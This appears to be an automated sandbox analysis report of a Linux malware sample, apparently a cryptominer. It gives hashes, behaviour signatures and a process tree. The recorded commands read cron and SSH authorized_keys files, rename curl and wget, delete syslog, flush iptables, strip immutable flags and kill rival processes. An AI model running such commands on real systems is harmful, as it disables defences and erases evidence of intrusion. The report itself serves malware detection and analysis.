Analysis
-
max time kernel
150s -
platform
debian-9_mips -
resource
debian9-mipsbe-20240611-en -
resource tags
arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem -
submitted
10-08-2024 05:05
Static task
static1
Behavioral task
behavioral1
Sample
84e5ee91b2eecfb946ff935cd8ff5e80_JaffaCakes118
Resource
ubuntu1804-amd64-20240611-en
Behavioral task
behavioral2
Sample
84e5ee91b2eecfb946ff935cd8ff5e80_JaffaCakes118
Resource
debian9-armhf-20240418-en
Behavioral task
behavioral3
Sample
84e5ee91b2eecfb946ff935cd8ff5e80_JaffaCakes118
Resource
debian9-mipsbe-20240611-en
Behavioral task
behavioral4
Sample
84e5ee91b2eecfb946ff935cd8ff5e80_JaffaCakes118
Resource
debian9-mipsel-20240418-en
General
-
Target
84e5ee91b2eecfb946ff935cd8ff5e80_JaffaCakes118
-
Size
35KB
-
MD5
84e5ee91b2eecfb946ff935cd8ff5e80
-
SHA1
f7cb4120aacc2fc85e7eb655cc2d8fc4d40e59e6
-
SHA256
1b0be209ed0d4918c70b84427667f164f40d90efc2998553cd08f2219d2e6f04
-
SHA512
8b918c0e9c8c42018df31da1eef062215ef6ff4f12046e5ca987aa1e0df7a8a85bad8e5db8cfef4b6fdbfab7be470e250e4bc5845e77b9f0422b6aef966f9485
-
SSDEEP
384:zQQwQHDf6lpTWg3vM4Qdre21jT58vKpG2Y0orcfKLUv0KZnNEVdUeUoJpJydIDbv:TFNB48Fkc2zq0xvcGGIr9L8eT
Malware Config
Signatures
-
Flushes firewall rules 1 IoCs
Flushes/ disables firewall rules inside the Linux kernel.
Processes:
iptablespid process 733 iptables -
Attempts to change immutable files 64 IoCs
Modifies inode attributes on the filesystem to allow changing of immutable files.
Processes:
xargsxargsxargsxargsxargsxargsxargsxargsxargsxargschattrxargsxargsxargsxargsxargsxargsxargsxargsxargsxargsxargsxargsxargsxargsxargsxargsxargsxargsxargsxargsxargsxargsxargsxargsxargsxargsxargsxargsxargsxargsxargsxargsxargsxargsxargsxargsxargsxargsxargsxargsxargsxargsxargsxargsxargsxargsxargsxargsxargsxargsxargsxargsxargspid process 1171 xargs 1301 xargs 939 xargs 1148 xargs 909 xargs 944 xargs 1035 xargs 1159 xargs 1256 xargs 1261 xargs 729 chattr 845 xargs 1309 xargs 1361 xargs 1074 xargs 1106 xargs 1196 xargs 1452 xargs 790 xargs 1061 xargs 1022 xargs 1080 xargs 1087 xargs 1446 xargs 815 xargs 899 xargs 924 xargs 954 xargs 1121 xargs 1411 xargs 1494 xargs 803 xargs 919 xargs 1154 xargs 1231 xargs 827 xargs 1029 xargs 1328 xargs 1335 xargs 978 xargs 1176 xargs 1206 xargs 1348 xargs 809 xargs 1164 xargs 1181 xargs 752 xargs 914 xargs 1323 xargs 1042 xargs 1267 xargs 1488 xargs 855 xargs 1003 xargs 1009 xargs 1342 xargs 1440 xargs 1470 xargs 850 xargs 929 xargs 959 xargs 1054 xargs 1236 xargs 1373 xargs -
Enumerates running processes
Discovers information about currently running processes on the system
-
Reads CPU attributes 1 TTPs 64 IoCs
Processes:
pspspspspspspspspskillpspspspspspspspspspspspspspspspspspspspspspspspspspspspspspspspspspspspspspspspspspspspspspspspspspspspspspsdescription ioc process File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online kill File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps -
Reads runtime system information 64 IoCs
Reads data from /proc virtual filesystem.
Processes:
pspspspspspspspspspspspspspspspspspspspspspspspspspspspspspspspspspsxargspspspspspspspspspspspspspspspsdescription ioc process File opened for reading /proc/21/cmdline ps File opened for reading /proc/10/stat ps File opened for reading /proc/1302/stat ps File opened for reading /proc/3/stat ps File opened for reading /proc/4/status ps File opened for reading /proc/77/cmdline ps File opened for reading /proc/73/status ps File opened for reading /proc/6/cmdline ps File opened for reading /proc/19/cmdline ps File opened for reading /proc/374/cmdline ps File opened for reading /proc/36/stat ps File opened for reading /proc/15/status ps File opened for reading /proc/457/stat ps File opened for reading /proc/701/stat ps File opened for reading /proc/502/cmdline ps File opened for reading /proc/24/stat ps File opened for reading /proc/9/status ps File opened for reading /proc/703/cmdline ps File opened for reading /proc/23/cmdline ps File opened for reading /proc/349/stat ps File opened for reading /proc/76/cmdline ps File opened for reading /proc/1136/status ps File opened for reading /proc/701/cmdline ps File opened for reading /proc/14/stat ps File opened for reading /proc/229/status ps File opened for reading /proc/2/cmdline ps File opened for reading /proc/18/cmdline ps File opened for reading /proc/703/stat ps File opened for reading /proc/350/status ps File opened for reading /proc/389/stat ps File opened for reading /proc/23/cmdline ps File opened for reading /proc/71/cmdline ps File opened for reading /proc/71/cmdline ps File opened for reading /proc/701/stat ps File opened for reading /proc/74/cmdline ps File opened for reading /proc/8/cmdline ps File opened for reading /proc/115/status ps File opened for reading /proc/9/cmdline ps File opened for reading /proc/322/cmdline ps File opened for reading /proc/self/fd xargs File opened for reading /proc/6/cmdline ps File opened for reading /proc/922/cmdline ps File opened for reading /proc/12/cmdline ps File opened for reading /proc/1108/cmdline ps File opened for reading /proc/105/stat ps File opened for reading /proc/5/status ps File opened for reading /proc/149/stat ps File opened for reading /proc/69/status ps File opened for reading /proc/37/stat ps File opened for reading /proc/322/cmdline ps File opened for reading /proc/1442/status ps File opened for reading /proc/69/cmdline ps File opened for reading /proc/1023/status ps File opened for reading /proc/8/cmdline ps File opened for reading /proc/76/cmdline ps File opened for reading /proc/115/stat ps File opened for reading /proc/12/cmdline ps File opened for reading /proc/9/cmdline ps File opened for reading /proc/707/stat ps File opened for reading /proc/385/status ps File opened for reading /proc/1238/status ps File opened for reading /proc/14/status ps File opened for reading /proc/9/stat ps File opened for reading /proc/72/status ps -
Writes file to tmp directory 1 IoCs
Malware often drops required files in the /tmp directory.
Processes:
84e5ee91b2eecfb946ff935cd8ff5e80_JaffaCakes118description ioc process File opened for modification /tmp/dev/null 84e5ee91b2eecfb946ff935cd8ff5e80_JaffaCakes118
Processes
-
/tmp/84e5ee91b2eecfb946ff935cd8ff5e80_JaffaCakes118/tmp/84e5ee91b2eecfb946ff935cd8ff5e80_JaffaCakes1181⤵
- Writes file to tmp directory
PID:705 -
/bin/syncsync2⤵PID:708
-
/bin/catcat /var/spool/cron/2⤵PID:714
-
/bin/catcat /root/.ssh/authorized_keys2⤵PID:716
-
/bin/mvmv /usr/bin/curl /usr/bin/url2⤵PID:718
-
/bin/mvmv /usr/bin/url /usr/bin/cd12⤵PID:720
-
/bin/mvmv /usr/bin/wget /usr/bin/get2⤵PID:722
-
/bin/mvmv /usr/bin/get /usr/bin/wd12⤵PID:724
-
/bin/rmrm -rf /var/log/syslog2⤵PID:726
-
/usr/bin/chattrchattr -iua /tmp/2⤵
- Attempts to change immutable files
PID:729 -
/usr/bin/chattrchattr -iua /var/tmp/2⤵PID:731
-
/sbin/iptablesiptables -F2⤵
- Flushes firewall rules
PID:733 -
/usr/sbin/userdeluserdel akay2⤵PID:738
-
/usr/sbin/userdeluserdel vfinder2⤵PID:739
-
/bin/rmrm -rf "/tmp/addres*"2⤵PID:741
-
/bin/rmrm -rf "/tmp/walle*"2⤵PID:743
-
/bin/rmrm -rf /tmp/keys2⤵PID:744
-
/bin/rmrm -f /tmp/.null2⤵PID:745
-
/sbin/sysctlsysctl -w "vm.nr_hugepages=128"2⤵PID:746
-
/bin/grepgrep 185.71.65.2382⤵PID:749
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:751
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:752 -
/usr/bin/awkawk "{print \$7}"2⤵PID:750
-
/usr/bin/awkawk "{print \$7}"2⤵PID:757
-
/bin/grepgrep 140.82.52.872⤵PID:756
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:759
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:758
-
/usr/bin/awkawk "{print \$7}"2⤵PID:762
-
/bin/grepgrep :4432⤵PID:761
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:763
-
/bin/grepgrep -v -2⤵PID:764
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:765
-
/usr/bin/awkawk "{print \$7}"2⤵PID:769
-
/bin/grepgrep :232⤵PID:768
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:770
-
/bin/grepgrep -v -2⤵PID:771
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:772
-
/usr/bin/awkawk "{print \$7}"2⤵PID:775
-
/bin/grepgrep :4432⤵PID:774
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:776
-
/bin/grepgrep -v -2⤵PID:777
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:778
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:782
-
/usr/bin/awkawk "{print \$7}"2⤵PID:781
-
/bin/grepgrep :1432⤵PID:780
-
/bin/grepgrep -v -2⤵PID:783
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:784
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:788
-
/usr/bin/awkawk "{print \$7}"2⤵PID:787
-
/bin/grepgrep :22222⤵PID:786
-
/bin/grepgrep -v -2⤵PID:789
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:790 -
/usr/bin/awkawk "{print \$7}"2⤵PID:794
-
/bin/grepgrep :33332⤵PID:793
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:795
-
/bin/grepgrep -v -2⤵PID:796
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:797
-
/bin/grepgrep :33892⤵PID:799
-
/bin/grepgrep -v -2⤵PID:802
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:803 -
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:801
-
/usr/bin/awkawk "{print \$7}"2⤵PID:800
-
/usr/bin/awkawk "{print \$7}"2⤵PID:806
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:807
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:809 -
/bin/grepgrep -v -2⤵PID:808
-
/bin/grepgrep :55552⤵PID:805
-
/usr/bin/awkawk "{print \$7}"2⤵PID:812
-
/bin/grepgrep :66662⤵PID:811
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:813
-
/bin/grepgrep -v -2⤵PID:814
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:815 -
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:819
-
/usr/bin/awkawk "{print \$7}"2⤵PID:818
-
/bin/grepgrep :66652⤵PID:817
-
/bin/grepgrep -v -2⤵PID:820
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:821
-
/usr/bin/awkawk "{print \$7}"2⤵PID:824
-
/bin/grepgrep :66672⤵PID:823
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:825
-
/bin/grepgrep -v -2⤵PID:826
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:827 -
/usr/bin/awkawk "{print \$7}"2⤵PID:830
-
/bin/grepgrep :77772⤵PID:829
-
/bin/grepgrep -v -2⤵PID:832
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:831
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:833
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:837
-
/usr/bin/awkawk "{print \$7}"2⤵PID:836
-
/bin/grepgrep :84442⤵PID:835
-
/bin/grepgrep -v -2⤵PID:838
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:839
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:843
-
/usr/bin/awkawk "{print \$7}"2⤵PID:842
-
/bin/grepgrep :33472⤵PID:841
-
/bin/grepgrep -v -2⤵PID:844
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:845 -
/bin/grepgrep :33332⤵PID:848
-
/usr/bin/awkawk "{print \$2}"2⤵PID:849
-
/bin/grepgrep -v grep2⤵PID:847
-
/bin/psps aux2⤵
- Reads runtime system information
PID:846 -
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:850 -
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:855 -
/usr/bin/awkawk "{print \$2}"2⤵PID:854
-
/bin/grepgrep -v grep2⤵PID:852
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:851 -
/bin/grepgrep :55552⤵PID:853
-
/bin/grepgrep -v grep2⤵PID:857
-
/bin/grepgrep "kworker -c\\"2⤵PID:858
-
/bin/psps aux2⤵
- Reads CPU attributes
- Reads runtime system information
PID:856 -
/usr/bin/awkawk "{print \$2}"2⤵PID:859
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:860
-
/bin/grepgrep log_2⤵PID:863
-
/bin/grepgrep -v grep2⤵PID:862
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:865
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:861 -
/usr/bin/awkawk "{print \$2}"2⤵PID:864
-
/bin/grepgrep systemten2⤵PID:868
-
/bin/grepgrep -v grep2⤵PID:867
-
/bin/psps aux2⤵
- Reads runtime system information
PID:866 -
/usr/bin/awkawk "{print \$2}"2⤵PID:869
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:870
-
/bin/grepgrep netns2⤵PID:876
-
/bin/psps aux2⤵
- Reads runtime system information
PID:874 -
/usr/bin/awkawk "{print \$2}"2⤵PID:877
-
/bin/grepgrep -v grep2⤵PID:875
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:878
-
/usr/local/sbin/killkill -9 103⤵PID:879
-
/usr/local/bin/killkill -9 103⤵PID:879
-
/usr/sbin/killkill -9 103⤵PID:879
-
/usr/bin/killkill -9 103⤵PID:879
-
/sbin/killkill -9 103⤵PID:879
-
/bin/killkill -9 103⤵
- Reads CPU attributes
PID:879 -
/bin/grepgrep voltuned2⤵PID:882
-
/usr/bin/awkawk "{print \$2}"2⤵PID:883
-
/bin/grepgrep -v grep2⤵PID:881
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:884
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:880 -
/usr/bin/awkawk "{print \$2}"2⤵PID:888
-
/bin/grepgrep darwin2⤵PID:887
-
/bin/grepgrep -v grep2⤵PID:886
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:889
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:885 -
/usr/bin/awkawk "{print \$2}"2⤵PID:893
-
/bin/grepgrep /tmp/dl2⤵PID:892
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:894
-
/bin/grepgrep -v grep2⤵PID:891
-
/bin/psps aux2⤵PID:890
-
/usr/bin/awkawk "{print \$2}"2⤵PID:898
-
/bin/grepgrep /tmp/ddg2⤵PID:897
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:899 -
/bin/grepgrep -v grep2⤵PID:896
-
/bin/psps aux2⤵
- Reads CPU attributes
- Reads runtime system information
PID:895 -
/bin/grepgrep -v grep2⤵PID:901
-
/bin/grepgrep /tmp/pprt2⤵PID:902
-
/bin/psps aux2⤵
- Reads runtime system information
PID:900 -
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:904
-
/usr/bin/awkawk "{print \$2}"2⤵PID:903
-
/usr/bin/awkawk "{print \$2}"2⤵PID:908
-
/bin/grepgrep /tmp/ppol2⤵PID:907
-
/bin/grepgrep -v grep2⤵PID:906
-
/bin/psps aux2⤵PID:905
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:909 -
/usr/bin/awkawk "{print \$2}"2⤵PID:913
-
/bin/grepgrep -v grep2⤵PID:911
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:914 -
/bin/psps aux2⤵
- Reads CPU attributes
PID:910 -
/bin/grepgrep "/tmp/65ccE*"2⤵PID:912
-
/usr/bin/awkawk "{print \$2}"2⤵PID:918
-
/bin/grepgrep "/tmp/jmx*"2⤵PID:917
-
/bin/grepgrep -v grep2⤵PID:916
-
/bin/psps aux2⤵
- Reads CPU attributes
- Reads runtime system information
PID:915 -
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:919 -
/bin/grepgrep "/tmp/2Ne80*"2⤵PID:922
-
/bin/grepgrep -v grep2⤵PID:921
-
/bin/psps aux2⤵
- Reads runtime system information
PID:920 -
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:924 -
/usr/bin/awkawk "{print \$2}"2⤵PID:923
-
/usr/bin/awkawk "{print \$2}"2⤵PID:928
-
/bin/grepgrep IOFoqIgyC0zmf2UR2⤵PID:927
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:929 -
/bin/grepgrep -v grep2⤵PID:926
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:925 -
/usr/bin/awkawk "{print \$2}"2⤵PID:933
-
/bin/grepgrep 45.76.122.922⤵PID:932
-
/bin/grepgrep -v grep2⤵PID:931
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:934
-
/bin/psps aux2⤵PID:930
-
/usr/bin/awkawk "{print \$2}"2⤵PID:938
-
/bin/grepgrep 51.38.191.1782⤵PID:937
-
/bin/grepgrep -v grep2⤵PID:936
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:935 -
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:939 -
/bin/grepgrep 51.15.56.1612⤵PID:942
-
/bin/grepgrep -v grep2⤵PID:941
-
/usr/bin/awkawk "{print \$2}"2⤵PID:943
-
/bin/psps aux2⤵
- Reads runtime system information
PID:940 -
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:944 -
/usr/bin/awkawk "{print \$2}"2⤵PID:948
-
/bin/grepgrep 86s.jpg2⤵PID:947
-
/bin/grepgrep -v grep2⤵PID:946
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:949
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:945 -
/usr/bin/awkawk "{print \$2}"2⤵PID:953
-
/bin/grepgrep aGTSGJJp2⤵PID:952
-
/bin/grepgrep -v grep2⤵PID:951
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:954 -
/bin/psps aux2⤵
- Reads runtime system information
PID:950 -
/bin/grepgrep nMrfmnRa2⤵PID:957
-
/bin/grepgrep -v grep2⤵PID:956
-
/usr/bin/awkawk "{print \$2}"2⤵PID:958
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:959 -
/bin/psps aux2⤵
- Reads CPU attributes
PID:955 -
/usr/bin/awkawk "{print \$2}"2⤵PID:965
-
/bin/grepgrep PuNY5tm22⤵PID:964
-
/bin/grepgrep -v grep2⤵PID:963
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:966
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:962 -
/usr/bin/awkawk "{print \$2}"2⤵PID:970
-
/bin/grepgrep I0r8Jyyt2⤵PID:969
-
/bin/grepgrep -v grep2⤵PID:968
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:971
-
/bin/psps aux2⤵
- Reads runtime system information
PID:967 -
/usr/bin/awkawk "{print \$2}"2⤵PID:977
-
/bin/grepgrep AgdgACUD2⤵PID:976
-
/bin/grepgrep -v grep2⤵PID:975
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:978 -
/bin/psps aux2⤵
- Reads CPU attributes
PID:974 -
/usr/bin/awkawk "{print \$2}"2⤵PID:983
-
/bin/grepgrep uiZvwxG82⤵PID:982
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:984
-
/bin/grepgrep -v grep2⤵PID:981
-
/bin/psps aux2⤵
- Reads CPU attributes
- Reads runtime system information
PID:980 -
/usr/bin/awkawk "{print \$2}"2⤵PID:989
-
/bin/grepgrep hahwNEdB2⤵PID:988
-
/bin/grepgrep -v grep2⤵PID:987
-
/bin/psps aux2⤵PID:986
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:990
-
/usr/bin/awkawk "{print \$2}"2⤵PID:996
-
/bin/grepgrep BtwXn5qH2⤵PID:995
-
/bin/grepgrep -v grep2⤵PID:994
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:993 -
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:997
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1002
-
/bin/grepgrep 3XEzey2T2⤵PID:1001
-
/bin/grepgrep -v grep2⤵PID:1000
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1003 -
/bin/psps aux2⤵
- Reads runtime system information
PID:999 -
/bin/grepgrep t2tKrCSZ2⤵PID:1007
-
/bin/grepgrep -v grep2⤵PID:1006
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1005 -
/usr/bin/awkawk "{print \$2}"2⤵PID:1008
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1009 -
/bin/grepgrep svc2⤵PID:1014
-
/bin/grepgrep -v grep2⤵PID:1013
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1012 -
/usr/bin/awkawk "{print \$2}"2⤵PID:1015
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1016
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1021
-
/bin/grepgrep HD7fcBgg2⤵PID:1020
-
/bin/grepgrep -v grep2⤵PID:1019
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1022 -
/bin/psps aux2⤵
- Reads runtime system information
PID:1018 -
/bin/grepgrep -v grep2⤵PID:1025
-
/bin/grepgrep zXcDajSs2⤵PID:1026
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1027
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1029 -
/bin/psps aux2⤵
- Reads runtime system information
PID:1024 -
/bin/grepgrep 3lmigMo2⤵PID:1033
-
/bin/grepgrep -v grep2⤵PID:1032
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1034
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1031 -
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1035 -
/usr/bin/awkawk "{print \$2}"2⤵PID:1041
-
/bin/grepgrep AkMK4A22⤵PID:1040
-
/bin/grepgrep -v grep2⤵PID:1039
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1042 -
/bin/psps aux2⤵
- Reads CPU attributes
PID:1038 -
/usr/bin/awkawk "{print \$2}"2⤵PID:1046
-
/bin/grepgrep AJ2AkKe2⤵PID:1045
-
/bin/grepgrep -v grep2⤵PID:1044
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1047
-
/bin/psps aux2⤵
- Reads CPU attributes
- Reads runtime system information
PID:1043 -
/usr/bin/awkawk "{print \$2}"2⤵PID:1053
-
/bin/grepgrep HiPxCJRS2⤵PID:1052
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1054 -
/bin/grepgrep -v grep2⤵PID:1051
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1050 -
/usr/bin/awkawk "{print \$2}"2⤵PID:1060
-
/bin/grepgrep http_0xCC0302⤵PID:1059
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1061 -
/bin/grepgrep -v grep2⤵PID:1058
-
/bin/psps aux2⤵
- Reads CPU attributes
- Reads runtime system information
PID:1057 -
/bin/psps aux2⤵PID:1063
-
/bin/grepgrep -v grep2⤵PID:1064
-
/bin/grepgrep http_0xCC0312⤵PID:1066
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1067
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1068
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1073
-
/bin/grepgrep http_0xCC0322⤵PID:1072
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1074 -
/bin/grepgrep -v grep2⤵PID:1071
-
/bin/psps aux2⤵
- Reads CPU attributes
- Reads runtime system information
PID:1070 -
/usr/bin/awkawk "{print \$2}"2⤵PID:1079
-
/bin/grepgrep http_0xCC0332⤵PID:1078
-
/bin/grepgrep -v grep2⤵PID:1077
-
/bin/psps aux2⤵PID:1076
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1080 -
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1087 -
/usr/bin/awkawk "{print \$2}"2⤵PID:1086
-
/bin/grepgrep C4iLM4L2⤵PID:1085
-
/bin/grepgrep -v grep2⤵PID:1084
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1083 -
/usr/bin/awkawk "{print \$2}"2⤵PID:1092
-
/bin/grepgrep aziplcr72qjhzvin2⤵PID:1091
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1093
-
/bin/grepgrep -v grep2⤵PID:1090
-
/bin/psps aux2⤵
- Reads CPU attributes
- Reads runtime system information
PID:1089 -
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1100
-
/usr/bin/awkawk "{ if(substr(\$11,1,2)==\"./\" && substr(\$12,1,2)==\"./\") print \$2 }"2⤵PID:1099
-
/bin/grepgrep -v grep2⤵PID:1098
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1097 -
/usr/bin/awkawk "{print \$2}"2⤵PID:1105
-
/bin/grepgrep /boot/vmlinuz2⤵PID:1104
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1106 -
/bin/grepgrep -v grep2⤵PID:1103
-
/bin/psps aux2⤵
- Reads CPU attributes
- Reads runtime system information
PID:1102 -
/usr/bin/awkawk "{print \$2}"2⤵PID:1114
-
/bin/grepgrep i4b503a52cc52⤵PID:1113
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1115
-
/bin/grepgrep -v grep2⤵PID:1112
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1111 -
/usr/bin/awkawk "{print \$2}"2⤵PID:1120
-
